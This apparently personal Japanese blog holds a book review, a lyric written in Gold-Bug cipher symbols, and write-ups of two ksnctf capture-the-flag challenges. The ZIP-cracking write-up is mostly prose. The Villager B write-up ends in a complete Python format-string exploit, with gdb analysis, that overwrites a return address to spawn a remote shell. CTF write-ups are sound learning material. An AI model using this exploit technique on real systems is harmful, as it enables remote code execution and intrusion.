DUAL-IPA

Break My Heart

新しき年の初めの2冊

 元日に発生した能登半島地震から1週間が経ちました。120名以上の方の死亡が確認され、未だ安否不明者は190名以上です。石川県では28000人以上の方が避難生活を強いられています。
 災害は時を選ばず起こることをあらためて思い知り、決して他人ごとではなく明日は我が身であることを痛切に感じました。私にはわずかばかりの募金をすることしかできません。ブログなどやっている場合かなどとも思うし、PCやスマホを当たり前のように使える日々のありがたみを思ったりと、益体のないことばかり考えて新年を過ごしました。

 そんな中、年末年始、私はIT系から距離を置いて、図書館で2冊の本を借りて読みました。

  独学の地図 荒木博行著
  日本の視覚 現代ビジネス編

独学の地図

 私のこれまでの学習方法は成果の乏しいやり方だったと気づかされました。自分の内なる「疑問」を学びの出発点とするのではなく、資格試験や知識の維持・習得を目的としたものでした。そうではなく、社会生活をおくることそのものが疑問の土台であり、学びの場なのです。
 テキストを買ってきたり、Webサイトを検索してただ読み通すだけで得られるものは、単なる「感想」に過ぎないのでした。
 それっぽい一般論を得るだけでは不十分で、経験の前後の「差分」を削り出すことが必要です。読後に自分との対話をすることによって、得られたものを掘り下げていき、自分だけの具体論を見つける必要があるのです。この作業では「大きな学び」は得難く、些細な「2ミリの学び」を削り出すものなのです。
 また、「独学」であっても「他者」の力を積極的に借りることが有用です。他者に伝えようとすることが、自分の学びに磨きをかけ洗練させる効果があるのです。これまで私は勉強会等の意義を、話者が他者に知識や気づきを与えるようなイメージでなんとなく捉えていましたが、話者自身の学びを最大化することを主目的とすべきなのだと感じました。

日本の視覚

 講談社「現代ビジネス」に掲載された16人の著者による16編の論考を集めたものです。
 「日本人は集団主義」という幻想 (高野陽太郎
 日本人が「移動」しなくなっているのはナゼ? 地方で不気味な「格差」が拡大中 (貞包英之)
 日本のエリート学生が「中国の論理」に染まっていたことへの危機感 (阿古智子)
 日本の学校から「いじめ」が絶対なくならないシンプルな理由 (内藤朝雄
 女性に大人気「フクロウカフェ」のあぶない実態 (岡田千尋
 性暴力加害者と被害者が直接顔を合わせた瞬間・・・一体どうなるのか (藤岡淳子)
 「差別」とは何か? アフリカ人と結婚した日本人の私がいま考えること (鈴木裕之
・・・
などなど。いずれも一般論で片づけてしまって見過ごしてしまいがちなことに、深堀した視点によって本質的な部分に気づかされるものでした。
 『自然災害大国の非難が「体育館生活」であることへの大きな違和感 (大前治)
に関しては、今まさに厳冬の北陸で起きていることと重なり、毎年のように自然災害で困難な生活を余儀なくされ、災害関連死で犠牲者が増える現状の改善を考えさせられました。

 一日も早く、被災者の皆様が日常を取り戻すことができることを願います。


ZIP Attacks with Reduced Known Plaintext

5月最後の土曜日。とても良い陽気です。
花のきれいな季節ですね。君もコクリコわれもコクリコ
テネシー出身のマイリ―・サイラスが歌うFlowersは依然としてチャート上位をキープしていますね。
日本人に歌いやすい英語のように思います。

さて、今日は、ksnctf Q.39 Unknown Plaintext Attackについて考えます。

所与

(1). split_flag.php
(2). flag.zip

(1)をエディタで開くと、PHPのソースのように見えますが、コードの後ろに改行が続き、最後に文字化けした判読不明な文字列があります。

PHPのコードは以下のような流れです。

1.ファイルflag.txtを読み込み変数$flagに格納する。

2.6回ループを繰り返す。

 1-1.ファイルサイズ分のランダム文字列を生成する。

 1-2.ランダム文字列をファイルflag%d.txtに出力する。(%dはループ回数)

 1-3.変数$flagにランダム文字列をXORする。

3.ループを抜けた後、変数$flagをflag7.txtに出力する。


つまり、flag.txtを読み込み、ファイルサイズが同じflag1.txt~flag7.txtの計7本のファイルを出力しています。

文字化け部分を見ると、PKから始まり、途中で2回PKが出現します。a.txtという文字も2回出てきます。
zipファイルの先頭はPKで始まります。そこで、split_flag.phpバイナリエディタで開き、PKより前の部分を削除して、拡張子をzipにしたファイルに保存します。
zipファイルを解凍すると、a.txtというファイルが出てきました。
a.txtの中身は次のとおりです。

Hint:
Michael Stay, "ZIP Attacks with Reduced Known Plaintext." Fast Software Encryption, LNCS 2355, 125--134. Springer-Verlag, 2002.

ヒントが書かれているようです。googleで翻訳すると、

Michael Stay、「既知の平文を削減した ZIP 攻撃」。高速ソフトウェア暗号化、LNCS 2355、125 ~ 134。シュプリンガー・フェルラーク、2002 年。

となりました。Michael Stayという人の論文を参照しろということのようです。
googleで検索すると、論文のPDFはすぐ見つかりました。10ページしかないですが、全て英語です。ちょっと置いておきます。


次に(2)を見てみます。Explzhで開くとflag1.txt~flag7.txtの7つのファイルがあります。
つまり、(1)のphpで作成したファイルのようです。しかし、パスワードがかかっており解凍することができません。
この手順(phpで7つのファイルを作成し、パスワード付ZIPにする)は、設問に記載されている操作ログと一致しています。


既知の平文を削減した ZIP 攻撃

設問のタイトルUnknown Plaintext Attackと、ZIP Attacks with Reduced Known Plaintext.は、似ているようで意味が異なります。前者は「全く知らない」と言っているのに対し、後者は「ちょっと知っている」という感じです。いずれにせよ、パスワードクラックの手法を表しているように思われます。
Unknown Plaintext Attackでウェブ検索すると、known(既知平文攻撃)に関するものばかりが見つかりますが、unknownに関するものは見つけられません。
ZIP Attacks with Reduced Known Plaintext.の方は、参考文献として記載している英語のサイトは見つかりますが、攻撃の内容を記載したものが見つかりません。

ksnctf ZIP Attacks with Reduced Known Plaintext.で検索すると、Twitterの記事が見つかりました。

買ってくれ~🙏 読みどころとしては最後のMichael Stay, ZIP Attacks with Reduced Known Plaintextの解説。Linuxのzipコマンドで暗号化したZIPならば、ZIPに5個以上のファイルが含まれていれば、既知平文不要で解読できるという話。 sanya.sweetduet.info/understandzip/

ZIPに5個以上のファイルが含まれていればunknown(既知平文不要)でいける!
今回は7個ファイルがあるので余裕ということでしょうか!?
しかし、対価が必要!? URLをクリックすると、sample.pdfがあり、Stayの攻撃法が記載されていますが、素数ページのみ抜粋しての掲載であるため、全容がわかりません。ただし、stay.cppというサンプルコードが付いており、こちらは歯抜けがないようです。このサンプルコードがエクスプロイトコードのようです。


stay.cppを見ると、rabbit.zipというファイルを読み込んで、5箇所のポイントから12バイトを取り出しています。rabbit.zipはサンプルコードに掲載されています。このzipファイルは5個のファイルをパスワード付ZIPにしたもののようです。ファイル数はポイント数の5と符合しています。
rabbit.zipをバイナリエディタで開いてみます。ASCIIで5つのファイル名が含まれていることがわかります。ファイル名の後ろにはいずれも、09 00 03 FF CC 2A 5A 0A CD 2A 5A 75 78 0B 00 01 04 00 00 00 00 04 00 00 00 00 という26バイトが続いています。その次のバイト位置が、サンプルソースに書かれた5箇所のポイントと一致します。

そこで、flag.zipに対してバイナリエディタで同じようにポイントを拾い出してみます。
26バイトの中身はrabbit.zipとは一致しませんが、同じように7箇所のアドレスを拾って、stay.cppのpos[5]を書き換えます。さらに、要素数が5の配列を要素数7に全て書き換えます。エクスプロイトコードができました。
Linuxコンパイルして動かしてみましょう。
・・・何も出てきません。

sample.pdfによると、実行時間はCore i7-4790 3.6GHz で1 時間弱だそうです。全探索の37%くらいのところで解が見つかったとあります。ということは最悪2~3時間ぐらいかかるということでしょうか。

フラグ取得
・・・5時間経ちました。18040.92秒かかりました。(たぶん、全探索の62%くらい)ちなみに、実行環境はAMD Ryzen 7 Extreme Edition 1.80 GHzで、VM上のLinuxです。
さて、実行結果にはパスワードが表示されるわけではありませんでした。
ただし、key0、key1、key2それぞれ1ワードの16進数が得られます。
zipdecryptを使えば、key0、key1、key2を引数とすることで、パスワード付ZIPファイルを解凍できます。

flag1.txt~flag7.txtを解凍できました。
flag1.txt~flag6.txtまでがPHPで生成したランダムな文字列で、flag7.txtがそれらをXORしたものです。
排他的論理和の性質から、再度XORすれば、元の文字列に復元が可能です。

php > $flag1 = file_get_contents("flag1.txt");
php > $flag2 = file_get_contents("flag2.txt");
php > $flag3 = file_get_contents("flag3.txt");
php > $flag4 = file_get_contents("flag4.txt");
php > $flag5 = file_get_contents("flag5.txt");
php > $flag6 = file_get_contents("flag6.txt");
php > $flag7 = file_get_contents("flag7.txt");
php > $flag = $flag1 ^ $flag2 ^ $flag3 ^ $flag4 ^ $flag5 ^ $flag6 ^ $flag7;
php > file_put_contents("flag.txt" , $flag);

flag.txtに復元できました!



The Gold-Bug

6 †‡*'; 1880 5 )6*308 ;46*3
45¶8 ;48 .600) †‡*8 ;‡‡ 9?―4
45¶8*'; ―5?34; ?. ▼6;4 9: 1(68*†) 6* ▼88▲)
5*† *‡▼ ▼8'(8 ‡?;;5 ;‡?―4
6'¶8 288* †(6¶6*3 6* 05
5*† ;48 ▼‡(0† 6; 1880) ;‡‡ 263
06▲8 5 10‡5;6*3 2500 ;45;') 2‡?*† ;‡ 2(85▲
)*5. 9: .):―48 06▲8 5 ;▼63
5*† 6 △?); ▼5**5 )88 61 :‡? 1880 ;48 )598 5) 98
†‡ :‡? 8¶8( 38; 5 06;;08 26; ;6(8† ‡1 0618
06▲8 :‡?'(8 *‡; (8500: 45..: 2?; :‡? †‡*'; ▼5**5 †68
06▲8 :‡?'(8 45*36*3 2: 5 ;4(85† 2?; :‡? 3‡;;5 )?(¶6¶8
'―5?)8 :‡? 3‡;;5 )?(¶6¶8
06▲8 :‡?( 2‡†:') 6* ;48 (‡‡9 2?; :‡?'(8 *‡; (8500: ;48(8
06▲8 :‡? 45¶8 89.5;4: 6*)6†8 2?; :‡? †‡*'; (8500: ―5(8
06▲8 :‡?'(8 1(8)4 ‡?;;5 0‡¶8 2?; 6;') 288* 6* ;48 56(
59 6 .5); (8.56(
5 06;;08 26; ;6(8† ‡1 ;(:6*' ;‡ ―5(8 ▼48* 6 †‡*';
5 06;;08 26; ;6(8† ‡1 ▽?6―▲ (8.56() ;‡ ―‡.8
5 06;;08 26; ;6(8† ‡1 )6*▲6*'
;48(8') ▼5;8( 6* 9: 2‡5;
6'9 25(80: 2(85;46*'
;(:*5 );5: 510‡5;
)‡ 6 3‡; ;48)8 ▽?6―▲ (8.56() ;‡ ―‡.8
3?8)) 6'9 △?); 2(‡▲8* 5*† 2(‡▲8
;48 .(8)―(6.;6‡*) ‡* 6;) ▼5:
▼6;4 5 *598 6 ―5*'; .(‡*‡?*―8
5*† ;48 †‡)8 6 3‡;;5 ;5▲8
2‡: 6 ▼6)4 ;45; 6 ―‡?0† ―‡?*;
'―5?)8 6 △?); ▼5**5 )88 61 ;46) ―‡?0† 95▲8 98 45..:
†‡ :‡? 8¶8( 38; 5 06;;08 26; ;6(8† ‡1 0618
06▲8 :‡?'(8 *‡; (8500: 45..: 2?; :‡? †‡*'; ▼5**5 †68
06▲8 :‡?'(8 45*36*3 2: 5 ;4(85† 2?; :‡? 3‡;;5 )?(¶6¶8
'―5?)8 :‡? 3‡;;5 )?(¶6¶8
06▲8 :‡?( 2‡†:') 6* ;48 (‡‡9 2?; :‡?'(8 *‡; (8500: ;48(8
06▲8 :‡? 45¶8 89.5;4: 6*)6†8 2?; :‡? †‡*'; (8500: ―5(8
06▲8 :‡?'(8 1(8)4 ‡?;;5 0‡¶8 2?; 6;') 288* 6* ;48 56(
59 6 .5); (8.56(
5 06;;08 26; ;6(8† ‡1 ;(:6*' ;‡ ―5(8 ▼48* 6 †‡*';
5 06;;08 26; ;6(8† ‡1 ▽?6―▲ (8.56() ;‡ ―‡.8
5 06;;08 26; ;6(8† ‡1 )6*▲6*3
;48(8') ▼5;8( 6* 9: 2‡5;
6'9 25(80: 2(85;46*'
;(:*5 );5: 510‡5;
)‡ 6 3‡; ;48)8 ▽?6―▲ (8.56() ;‡ ―‡.8
†‡ :‡? 8¶8( 38; 5 06;;08 26; ;6(8† ‡1 0618
06▲8 :‡?'(8 *‡; (8500: 45..: 2?; :‡? †‡*'; ▼5**5 †68
06▲8 5 *?92 06;;08 2?3 ;45;') 3‡;;5 )?(¶6¶8
;45;') 3‡;;5 )?(¶6¶8

Villager B Writeup

Q. 23

PYTHON3で記述

main+3でスタックの1番目に積まれている__libc_start_main+nnnが何なのかわかっていません。
また、telnetlib.pyでASCIIコードの範囲外エラーが発生したため、一時的に errors="replace" を記述しました。

# Python 3.7.9 exploit code (ksnctf Q.23 Villager B)
# 参考文献:セキュリティコンテストチャレンジブック
# 参考サイト:ももいろテクノロジー RELROとformat string attackによるリターンアドレス書き換え 他
# https://inaz2.hatenablog.com/entry/2014/04/30/173618

'''
### ローカルのlinuxに、villagerとlibc.so.6をダウンロード
### libc.so.6を静的解析する。
### __libc_start_mainを逆アセンブルする。⇒0001a470から始まっていることが判明
kali@kali:~$ objdump -d -M intel libc.so.6 | grep __libc_start_main
0001a470 <__libc_start_main>:
   1a499:       74 09                   je     1a4a4 <__libc_start_main+0x34>
   1a4b0:       74 10                   je     1a4c2 <__libc_start_main+0x52>
   1a4d1:       0f 85 9e 00 00 00       jne    1a575 <__libc_start_main+0x105>
   1a4dc:       74 1c                   je     1a4fa <__libc_start_main+0x8a>
   1a50c:       0f 85 cd 00 00 00       jne    1a5df <__libc_start_main+0x16f>
   1a514:       0f 85 0d 01 00 00       jne    1a627 <__libc_start_main+0x1b7>
   1a530:       75 64                   jne    1a596 <__libc_start_main+0x126>
   1a591:       e9 41 ff ff ff          jmp    1a4d7 <__libc_start_main+0x67>
   1a5c4:       75 15                   jne    1a5db <__libc_start_main+0x16b>
   1a5d9:       eb f5                   jmp    1a5d0 <__libc_start_main+0x160>
   1a5dd:       eb 8d                   jmp    1a56c <__libc_start_main+0xfc>
   1a606:       74 0c                   je     1a614 <__libc_start_main+0x1a4>
   1a61c:       75 e3                   jne    1a601 <__libc_start_main+0x191>
   1a622:       e9 eb fe ff ff          jmp    1a512 <__libc_start_main+0xa2>
   1a649:       e9 cc fe ff ff          jmp    1a51a <__libc_start_main+0xaa>
0001a64e <.annobin___libc_start_main.end>:
kali@kali:~$

### system関数のアドレスを調べる。⇒0003fe70であることが判明
kali@kali:~$ nm -D libc.so.6 | grep system
0003fe70 T __libc_system@@GLIBC_PRIVATE
0011c710 T svcerr_systemerr@GLIBC_2.0
0003fe70 W system@@GLIBC_2.0
kali@kali:~$ 

### 減算により__libc_start_mainとsystem関数のオフセットを求める。⇒154112であることが判明
### linuxのpython2を使用
kali@kali:~$ python
Python 2.7.18 (default, Apr 20 2020, 20:30:41) 
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> int(0x0003fe70 - 0x0001a470)
154112
>>> 

### libc.so.6上の/bin/shの使用箇所のアドレスを調べる。⇒1535aaであることが判明
kali@kali:~$ strings -tx libc.so.6 | grep '/bin/sh'
 1535aa /bin/sh
kali@kali:~$ 

### 減算により__libc_start_mainと/bin/shのオフセットを求める。⇒1282362であることが判明
### linuxのpython2を使用
kali@kali:~$ python
Python 2.7.18 (default, Apr 20 2020, 20:30:41) 
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> int(0x1535aa - 0x0001a470)
1282362
>>> 

### gdbでvillagerをデバッグする。
kali@kali:~$ gdb -q villager
Reading symbols from villager...
(No debugging symbols found in villager)

### デバッグ開始
(gdb) start
Temporary breakpoint 1 at 0x8b3
Starting program: /home/kali/villager 

Temporary breakpoint 1, 0x565558b3 in main ()
(gdb)

### 開始直後にいったん4wordほどダンプする。
(gdb) x/4wx $esp
0xffffd228:     0x00000000      0xf7afee46      0x00000001      0xffffd2d4
(gdb)

### mainを逆アセンブルする
(gdb) disas main
Dump of assembler code for function main:
   0x565558b0 <+0>:     push   %ebp
   0x565558b1 <+1>:     mov    %esp,%ebp
=> 0x565558b3 <+3>:     and    $0xfffffff0,%esp
   0x565558b6 <+6>:     sub    $0x20,%esp
   0x565558b9 <+9>:     mov    %gs:0x14,%eax
   0x565558bf <+15>:    mov    %eax,0x1c(%esp)
   0x565558c3 <+19>:    xor    %eax,%eax
   0x565558c5 <+21>:    movl   $0x56555a2c,(%esp)
   0x565558cc <+28>:    call   0xf7b50420 <puts>
   0x565558d1 <+33>:    mov    0xf7cc5dbc,%eax
   0x565558d6 <+38>:    mov    %eax,(%esp)
   0x565558d9 <+41>:    call   0xf7b4e320 <fflush>
   0x565558de <+46>:    xchg   %ax,%ax
   0x565558e0 <+48>:    movl   $0x3,(%esp)
   0x565558e7 <+55>:    call   0xf7baa8a0 <sleep>
   0x565558ec <+60>:    call   0x565557f0 <_Z4convv>
   0x565558f1 <+65>:    test   %al,%al
   0x565558f3 <+67>:    je     0x565558e0 <main+48>
   0x565558f5 <+69>:    movl   $0x56555a34,(%esp)
   0x565558fc <+76>:    call   0xf7b50420 <puts>
   0x56555901 <+81>:    mov    0xf7cc5dbc,%eax
   0x56555906 <+86>:    mov    %eax,(%esp)
   0x56555909 <+89>:    call   0xf7b4e320 <fflush>
   0x5655590e <+94>:    xor    %eax,%eax
   0x56555910 <+96>:    mov    0x1c(%esp),%edx
   0x56555914 <+100>:   xor    %gs:0x14,%edx
   0x5655591b <+107>:   jne    0x5655591f <main+111>
   0x5655591d <+109>:   leave  
   0x5655591e <+110>:   ret    
   0x5655591f <+111>:   nop
   0x56555920 <+112>:   call   0xf7bf3a20 <__stack_chk_fail>
End of assembler dump.
(gdb) 

### <+60> のサブルーチン <_Z4convv> を逆アセンブルする。
(gdb) disas _Z4convv
Dump of assembler code for function _Z4convv:
   0x565557f0 <+0>:     push   %ebp
   0x565557f1 <+1>:     mov    %esp,%ebp
   0x565557f3 <+3>:     sub    $0x138,%esp
   0x565557f9 <+9>:     movl   $0x565559fc,(%esp)
   0x56555800 <+16>:    mov    %ebx,-0xc(%ebp)
   0x56555803 <+19>:    lea    -0x11c(%ebp),%ebx
   0x56555809 <+25>:    mov    %esi,-0x8(%ebp)
   0x5655580c <+28>:    mov    %ebx,%esi
   0x5655580e <+30>:    mov    %edi,-0x4(%ebp)
   0x56555811 <+33>:    mov    $0x56555a2a,%edi
   0x56555816 <+38>:    mov    %gs:0x14,%eax
   0x5655581c <+44>:    mov    %eax,-0x1c(%ebp)
   0x5655581f <+47>:    xor    %eax,%eax
   0x56555821 <+49>:    call   0xf7b50420 <puts>
   0x56555826 <+54>:    mov    0xf7cc5dbc,%eax
   0x5655582b <+59>:    mov    %eax,(%esp)
   0x5655582e <+62>:    call   0xf7b4e320 <fflush>
   0x56555833 <+67>:    mov    0xf7cc5dc0,%eax
   0x56555838 <+72>:    movl   $0x100,0x4(%esp)
   0x56555840 <+80>:    mov    %ebx,(%esp)
   0x56555843 <+83>:    mov    %eax,0x8(%esp)
   0x56555847 <+87>:    call   0xf7b4e640 <fgets>
   0x5655584c <+92>:    mov    $0x2,%ecx
   0x56555851 <+97>:    mov    $0x1,%eax
   0x56555856 <+102>:   repz cmpsb %es:(%edi),%ds:(%esi)
   0x56555858 <+104>:   seta   %cl
   0x5655585b <+107>:   setb   %dl
   0x5655585e <+110>:   cmp    %dl,%cl
   0x56555860 <+112>:   je     0x56555891 <_Z4convv+161>
   0x56555862 <+114>:   movl   $0x56555a0e,(%esp)
   0x56555869 <+121>:   call   0xf7b34020 <printf>
   0x5655586e <+126>:   mov    %ebx,(%esp)
   0x56555871 <+129>:   call   0xf7b34020 <printf>
   0x56555876 <+134>:   movl   $0x56555a13,(%esp)
   0x5655587d <+141>:   call   0xf7b50420 <puts>
   0x56555882 <+146>:   mov    0xf7cc5dbc,%eax
   0x56555887 <+151>:   mov    %eax,(%esp)
   0x5655588a <+154>:   call   0xf7b4e320 <fflush>
   0x5655588f <+159>:   xor    %eax,%eax
   0x56555891 <+161>:   mov    -0x1c(%ebp),%edx
--Type <RET> for more, q to quit, c to continue without paging--
   0x56555894 <+164>:   xor    %gs:0x14,%edx
   0x5655589b <+171>:   jne    0x565558aa <_Z4convv+186>
   0x5655589d <+173>:   mov    -0xc(%ebp),%ebx
   0x565558a0 <+176>:   mov    -0x8(%ebp),%esi
   0x565558a3 <+179>:   mov    -0x4(%ebp),%edi
   0x565558a6 <+182>:   mov    %ebp,%esp
   0x565558a8 <+184>:   pop    %ebp
   0x565558a9 <+185>:   ret    
   0x565558aa <+186>:   call   0xf7bf3a20 <__stack_chk_fail>
End of assembler dump.
(gdb) 

### puts関数をコールする直前の <+134> でスタックに積んでいる文字列を確認する。
(gdb) x/s 0x56555a13
0x56555a13:     "Here is Despair Town...\n"
(gdb)

### 一連の対話での最後で、system /bin/shを実行することを目指す。
### ここにブレイクポイントを入れる。
(gdb) b *_Z4convv+134
Breakpoint 2 at 0x56555876
(gdb)

### 再開する。同時に、入力値がスタック上何番目に積まれているかを特定する。⇒7番目と判明
(gdb) c
Continuing.
Welcome
What's your name?
aaaa,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
Hi, aaaa,0x100,0xf7cc5580,(nil),0x400,(nil),(nil),0x61616161,0x2c70252c,0x252c7025,0x70252c70

Breakpoint 2, 0x56555876 in conv() ()
(gdb)

### 100wordほどスタックをダンプする。
(gdb) x/100wx $esp
0xffffd0c0:     0xffffd0dc      0x00000100      0xf7cc5580      0x00000000
0xffffd0d0:     0x00000400      0x00000000      0x00000000      0x61616161
0xffffd0e0:     0x2c70252c      0x252c7025      0x70252c70      0x2c70252c
0xffffd0f0:     0x252c7025      0x70252c70      0x2c70252c      0x000a7025
0xffffd100:     0xf7ffd000      0x00000008      0x00000008      0xf7b5adab
0xffffd110:     0x00000001      0x5655cbb0      0x00000008      0xd7cdcf00
0xffffd120:     0xf7cc5d20      0x00000180      0xffffffbc      0x00000000
0xffffd130:     0xffffd1d4      0xffffffa4      0xffffd1d4      0xf7ba447e
0xffffd140:     0x00000000      0x00000000      0xffffd15c      0xffffd16c
0xffffd150:     0xf7cc5d20      0x000007d4      0x00000008      0x00000003
0xffffd160:     0x00000000      0x00000000      0x00000000      0x00000008
0xffffd170:     0x0000000a      0x00000007      0xffffd1f8      0xd7cdcf00
0xffffd180:     0xf7cc5d20      0xf7cc5000      0x7fffffff      0xf7baa9e0
0xffffd190:     0x00000000      0x00000000      0xffffd1d4      0xffffd1d4
0xffffd1a0:     0x000004a2      0xf7baa9c6      0x00000000      0xf7baa90d
0xffffd1b0:     0xffffd1d4      0xffffd1d4      0xffffd1f8      0xf7b4e3a0
0xffffd1c0:     0xf7cc5d20      0x0000000a      0x00000007      0x00000000
0xffffd1d0:     0xf7fb3020      0x00000003      0x00000000      0xd7cdcf00
0xffffd1e0:     0x56556fbc      0xf7cc5000      0xffffd1f8      0x00000000
0xffffd1f0:     0xf7cc5000      0xf7cc5000      0xffffd228      0x565558f1
0xffffd200:     0x00000003      0xf7cc5000      0xf7cc5000      0xf7b17ce5
0xffffd210:     0xf7fe3230      0x00000000      0x5655594b      0xd7cdcf00
0xffffd220:     0xf7cc5000      0xf7cc5000      0x00000000      0xf7afee46
0xffffd230:     0x00000001      0xffffd2d4      0xffffd2dc      0xffffd264
0xffffd240:     0x00000001      0xffffd2d4      0xffffd2dc      0xf7cc5000
(gdb) 

# 0相対で79word目に、mainの <+65> 行目のアドレスが積まれていることがわかる。
# 1つ前の78word目の値は、スタックの90番目を指している。
# 1つ後ろの91番目は、start直後にスタックをダンプした際、1word目に積まれている値といっしょである。
# 再度、4wordダンプする。⇒ <__libc_start_main+262> のアドレスが積まれていることを確認
(gdb) x/4wx 0xf7afee46
0xf7afee46 <__libc_start_main+262>:     0x8310c483      0xe8500cec      0x00018afe      0xb48b5656
(gdb)

### 以上は、ローカルでの調査であるため、ctfqサーバ自体の__libc_start_mainのアドレスは判明していない。
### 実サーバの libc.so.6のアドレスを調べるために、q4ユーザーでアクセスする。
PS C:\> ssh q4@ctfq.u1tramarine.blue -p 10004
q4@ctfq.u1tramarine.blue's password:
[q4@eceec62b961b ~]$

### q4プログラムをデバッグする。
[q4@eceec62b961b ~]$ gdb -q q4
Reading symbols from q4...(no debugging symbols found)...done.
(gdb)

### デバッグ開始
(gdb) start
Temporary breakpoint 1 at 0x80485b7
Starting program: /home/q4/q4
warning: Error disabling address space randomization: Operation not permitted
Missing separate debuginfos, use: yum debuginfo-install glibc-2.28-127.el8.i686
warning: Loadable section ".note.gnu.property" outside of ELF segments
warning: Loadable section ".note.gnu.property" outside of ELF segments

Temporary breakpoint 1, 0x080485b7 in main ()
Missing separate debuginfos, use: yum debuginfo-install libgcc-8.3.1-5.1.el8.i686 libstdc++-8.3.1-5.1.el8.i686
(gdb)

### 開始直後に4wordほどダンプする。
(gdb) x/4wx $esp
0xff8a9d88:     0x00000000      0xf7ac2569      0x00000001      0xff8a9e24
(gdb)

### スタックの1番目をダンプする。⇒ <__libc_start_main+249> であることが判明
(gdb) x/4wx 0xf7ac2569
0xf7ac2569 <__libc_start_main+249>:     0x8310c483      0xe8500cec      0x000179ab      0x4c8b5656
(gdb)

### これにより、_Z4convv+134 でのスタックの91番目は、<__libc_start_main+262> ではなく、
### <__libc_start_main+249> であると考えられる。
'''

import socket
import struct
import sys
import telnetlib
import time

def connect(ip, port):
    return socket.create_connection((ip, port))
def p(x):
    return struct.pack('<I', x)
def interact(s):
    print('---- interactivee mode ----')
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()

s = connect("ctfq.u1tramarine.blue", 10023)

print("%s" % s.recv(1024).decode()) #Welcome
print("%s" % s.recv(1024).decode()) #What's your name?

# esp+91word目に書かれた <__libc_start_main+249> のアドレスを取得
s.send(b"%91$x\n")
recv =  s.recv(1024)

# 前後の[Hi, ]と[Here is Despair Town...]を除去し、アドレス部分のみを取り出す
# 整数変換し、249byte減算して <__libc_start_main> のアドレスを特定する
libc_main_addr = int(recv[4:].split(b" ")[0].split(b"\n")[0], 16) - 249

# <__libc_start_main> に、154112を加算して、libc.so.6のsystem関数のアドレスを特定する
system_addr = libc_main_addr + 154112
print("system関数:%x" % system_addr)

# <__libc_start_main> に、1282362を加算して、libc.so.6内の/bin/shのアドレスを特定する
binsh_addr = libc_main_addr + 1282362
print("/bin/sh   :%x" % binsh_addr)

print("%s" % s.recv(1024).decode()) #What's your name?

# esp+79word目に <_Z4convv>関数のリターンアドレス <main+65> が書かれている
# このアドレスを書き換えるために、exp+79word目自体のアドレスを特定する
# esp+78word目に、esp+79word目自体のアドレス+44byteのアドレスが書き込まれているため、
# esp+78word目に書き込まれたアドレス値から44を減算することによって求める
s.send(b"%78$x\n")
recv=  s.recv(1024)
ret_addr = int(recv[4:].split(b" ")[0].split(b"\n")[0], 16) - 44
print("esp上でリターンアドレスを格納した場所のアドレス:%x" % ret_addr)

# esp上の書き換え先を1byteずつ整数変換して伝文にセット(リトルエンディアン)
payload = p(ret_addr)
payload += p(ret_addr+1)
payload += p(ret_addr+2)
payload += p(ret_addr+3)
payload += p(ret_addr+8)
payload += p(ret_addr+9)
payload += p(ret_addr+10)
payload += p(ret_addr+11)

b=[0,0,0,0]
a=[0,0,0,0]
for x in range(4):
    b[3 - x] = int(hex(binsh_addr)[x*2+2:x*2+4], 16)
for x in range(4):
    a[3 - x] = int(hex(system_addr)[x*2+2:x*2+4], 16)
print(a)
print(b)
b[3] = ((b[3]-b[2]-1) % 0x100) + 1
b[2] = ((b[2]-b[1]-1) % 0x100) + 1
b[1] = ((b[1]-b[0]-1) % 0x100) + 1
b[0] = ((b[0]-a[3]-1) % 0x100) + 1
a[3] = ((a[3]-a[2]-1) % 0x100) + 1
a[2] = ((a[2]-a[1]-1) % 0x100) + 1
a[1] = ((a[1]-a[0]-1) % 0x100) + 1
a[0] = ((a[0]-len(payload)-1) % 0x100) + 1

# 書式文字列までのオフセットは、7
index = 7
payload += b"%%%dc%%%d$hhn" % (a[0], index)
payload += b"%%%dc%%%d$hhn" % (a[1], index+1)
payload += b"%%%dc%%%d$hhn" % (a[2], index+2)
payload += b"%%%dc%%%d$hhn" % (a[3], index+3)
payload += b"%%%dc%%%d$hhn" % (b[0], index+4)
payload += b"%%%dc%%%d$hhn" % (b[1], index+5)
payload += b"%%%dc%%%d$hhn" % (b[2], index+6)
payload += b"%%%dc%%%d$hhn" % (b[3], index+7)
payload += b"\n"

print( payload )

# シェルを立ち上げる
s.send(payload)
time.sleep(0.1)
interact(s)

※他にもコードの参考にしたサイトがありますが、flagが記載されているため掲載しませんでした。